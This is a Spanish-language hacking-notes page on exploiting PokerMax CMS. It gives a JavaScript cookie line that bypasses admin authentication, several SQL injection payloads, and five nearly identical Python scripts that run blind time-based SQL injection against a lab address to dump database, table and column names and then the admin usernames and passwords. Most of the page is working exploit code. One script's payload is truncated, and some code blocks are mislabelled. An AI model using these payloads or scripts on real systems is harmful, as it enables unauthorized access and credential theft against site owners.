> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/pokermax-cms-exploitation.md).
# PokerMax
Notas de explotación de PokerMax para omisión de cookies de administrador, pruebas de inyección SQL con Burp Suite, automatización de SQLi ciego basado en tiempo, extracción de base de datos y volcado de credenciales.
**Búsqueda de vulnerabilidades con Searchsploit**
Después de identificar una `pokermax` página web, usa Searchsploit para buscar posibles vulnerabilidades.
**Identificación del panel de autenticación de administrador:**
Se descubre un panel de autenticación de administrador. Un fragmento de JavaScript en la consola cambia `ValidUserAdmin` a `administrador`, permitiendo el acceso a `configure.php` en pokeradmin.
```javascript
javascript:document.cookie = "ValidUserAdmin=admin";
```
## Vulnerabilidad de inyección SQL
**Detección de vulnerabilidad de inyección SQL:**
#### Identifica una vulnerabilidad de inyección SQL en la aplicación web. Usa [BurpSuite](/es/hacking-tools/web/burpsuite.md) para interceptar el tráfico.
#### Descubrimiento del número de columnas con ORDER BY
```sql
admin' order by 7-- -
```
#### Intento de listar tablas con UNION SELECT
```sql
admin' union select 1,2,3,4,5,6,7-- -
```
#### Uso de inyección SQL basada en tiempo
```sql
admin' and sleep(5)-- -
admin' and if(substr(database(),1,1)='a',sleep(5),1)-- -
```
#### Automatización en Python para extraer el nombre de la base de datos
```sql
admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -
```
```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
print("/n/n[!] Saliendo.../n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
data = ""
p1 = log.progress("SQLI:")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Extraer datos:")
for position in range(1, 12):
for character in characters:
post_data = {
'op': 'adminlogin',
'username': "admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
'password': 'admin'
}
p1.status(post_data['username'])
time_start = time.time()
r = requests.post(main_url, data=post_data, headers=headers)
time_end = time.time()
if time_end - time_start > 0.85:
data += character
p2.status(data)
break
p1.success("Inyección SQL completada")
p2.success(data)
if __name__ == '__main__':
sqli()
```
#### Automatización en Python para extraer todos los nombres de las bases de datos
```sql
admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -
```
```sql
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
print("/n/n[!] Saliendo.../n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
data = ""
p1 = log.progress("SQLI:")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Extraer datos:")
for position in range(1, 100):
for character in characters:
post_data = {
'op': 'adminlogin',
'username': "admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
'password': 'admin'
}
p1.status(post_data['username'])
time_start = time.time()
r = requests.post(main_url, data=post_data, headers=headers)
time_end = time.time()
if time_end - time_start > 0.85:
data += character
p2.status(data)
break
p1.success("Inyección SQL completada")
p2.success(data)
if __name__ == '__main__':
sqli()
```
#### Automatización en Python para extraer nombres de tablas
```sql
admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s',sleep(0.85),1)-- -
```
```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
print("/n/n[!] Saliendo.../n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
data = ""
p1 = log.progress("SQLI:")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Extraer datos:")
for position in range(1, 100):
for character in characters:
post_data = {
'op': 'adminlogin',
'username': "admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s'," % (position, character),
'password': 'admin'
}
p1.status(post_data['username'])
time_start = time.time()
r = requests.post(main_url, data=post_data, headers=headers)
time_end = time.time()
if time_end - time_start > 0.85:
data += character
p2.status(data)
break
p1.success("Inyección SQL completada")
p2.success(data)
if __name__ == '__main__':
sqli()
```
#### Automatización en Python para extraer nombres de columnas
```sql
admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -
```
```sql
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
print("/n/n[!] Saliendo.../n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
data = ""
p1 = log.progress("SQLI:")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Extraer datos:")
for position in range(1, 100):
for character in characters:
post_data = {
'op': 'adminlogin',
'username': "admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
'password': 'admin'
}
p1.status(post_data['username'])
time_start = time.time()
r = requests.post(main_url, data=post_data, headers=headers)
time_end = time.time()
if time_end - time_start > 0.85:
data += character
p2.status(data)
break
p1.success("Inyección SQL completada")
p2.success(data)
if __name__ == '__main__':
sqli()
```
#### Automatización en Python para extraer el contenido de las columnas de nombre de usuario y contraseña
```sql
admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -
```
```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
print("/n/n[!] Saliendo.../n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
data = ""
p1 = log.progress("SQLI:")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Extraer datos:")
for position in range(1, 100):
for character in characters:
post_data = {
'op': 'adminlogin',
'username': "admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
'password': 'admin'
}
p1.status(post_data['username'])
time_start = time.time()
r = requests.post(main_url, data=post_data, headers=headers)
time_end = time.time()
if time_end - time_start > 0.85:
data += character
p2.status(data)
break
p1.success("Inyección SQL completada")
p2.success(data)
if __name__ == '__main__':
sqli()
```
---
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